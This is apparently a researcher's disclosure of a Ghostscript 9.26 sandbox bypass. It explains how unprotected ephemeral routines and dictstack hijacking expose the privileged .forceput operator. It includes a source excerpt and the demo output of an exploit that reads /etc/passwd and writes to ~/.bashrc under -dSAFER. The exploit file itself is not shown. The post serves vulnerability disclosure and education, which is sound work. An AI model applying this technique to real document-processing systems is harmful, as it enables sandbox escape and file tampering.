I noticed ghostscript 9.26 was released, so had a quick look and spotted some errors. For background, this is how you define a subroutine in postscript:
```
/hello {
(hello\n) print
} def
```
That's simple enough, but because a subroutine is just an executable array of commands, you need to mark it as executeonly if you're using system operators. That way, users can't peek inside and get references to operators they shouldn't be allowed to use.
```
/hello {
(hello\n) print
} executeonly def
```
That's still not enough though, because the routine might expose the contents to error handlers, so you also need to make it a pseudo-operator with odef. PostScript error handlers don't examine any deeper than the current operator (or pseudo-operator), so won't expose any of the contents if they stop.
```
/hello {
(hello\n) print
} executeonly odef
```
Looks good, but it gets weirder. If you don't bind the contents, then name resolution happens on execution, not when you define it. That means that someone can change the dictstack (which kind of works like variable scope in other languages) so that commands and operators do something different than when you defined the subroutine.
Like this:
```
GS>/hello {
(hello\n) print
} executeonly odef
GS><< /print { (goodbye) == pop } >> begin
GS>hello
(goodbye)
```
This means you also need to bind the routine, and also be very aware when you're writing it of what cannot be resolved at define-time (nobody ever said writing postscript was easy, lol). So now we have this:
```
/hello {
(hello\n) print
} bind executeonly odef
```
I think that's good enough for simple routines, but what if it's more complicated? The way you branch in PostScript is to create an ephemeral subroutine and pass it to the `if` or `ifelse` operators, like this:
```
/hello {
time 1200 lt {
(good morning\n) print
} {
(good afternoon\n) print
} ifelse
} bind executeonly odef
```
Do those ephemeral routines also need to be protected? The answer is yes, they're pushed on the operand stack just like everything else, so can cause /stackoverflow or /execstackoverflow errors, and will then be exposed to error handlers.
Ghostscript didn't protect a whole bunch of these ephemeral routines, here is one example:
```
1123 {
1124 currentglobal pdfdict gcheck .setglobal
1125 pdfdict /.Qqwarning_issued //true .forceput
1126 .setglobal
1127 pdfformaterror
1128 } ifelse
```
You can see the routine itself is bound, executeonly and odef, but the ephemeral routines inside it used for conditions and loops are not protected.
These bugs are starting to get trickier to exploit, you have to make an operator fail very precisely, but I made a demo that works in 9.26. This uses the trick I described above of taking over names that couldn't be resolved at define time by pushing a new dict on the dictstack. This gives me a high degree of control over the routine.
```
$ gs -dSAFER -f ghostscript-926-forceput.ps
GPL Ghostscript GIT PRERELEASE 9.27 (2018-11-20)
Copyright (C) 2018 Artifex Software, Inc. All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
(Stage 0: PDFfile)
(Stage 1: q)
(Stage 3: oget)
(Stage 4: pdfemptycount)
(Stage 5: gput)
(Stage 6: resolvestream)
(Stage 7: pdfopdict)
(Stage 8: .pdfruncontext)
(Stage 9: pdfdict)
(Stage 10: /stackoverflow)
( Last Parameter:){(\n **** Error: File has unbalanced q/Q operators \(too many q's\)\n Output may be incorrect.\n) pdfdict /.Qqwarning_issued --.knownget-- {{--pop--} {--.currentglobal-- pdfdict --scheck-- --.setglobal-- pdfdict /.Qqwarning_issued true --.forceput-- --.setglobal-- pdfformaterror} --ifelse--} {--.currentglobal-- pdfdict --scheck-- --.setglobal-- pdfdict /.Qqwarning_issued true --.forceput-- --.setglobal-- pdfformaterror} --ifelse--}
( Extracting .forceput...)
( Result:)--.forceput--
(Stage 11: Exploitation...)
( Should now have complete control over ghostscript, attempting to read /etc/passwd...)
(root:x:0:0:root:/root:/bin/bash)
(All Done)
$ tail -1 ~/.bashrc
echo pwned by postscript
```
This exploit should work via evince, ImageMagick, nautilus, less, gimp, gv, etc, etc. It might require some adjustment to work on older versions, because it requires precise alignment of the operand stack, but 9.26 and earlier are all affected.
p.s. I'm not regularly looking at ghostscript, this was just a random look at the new release.
暂无评论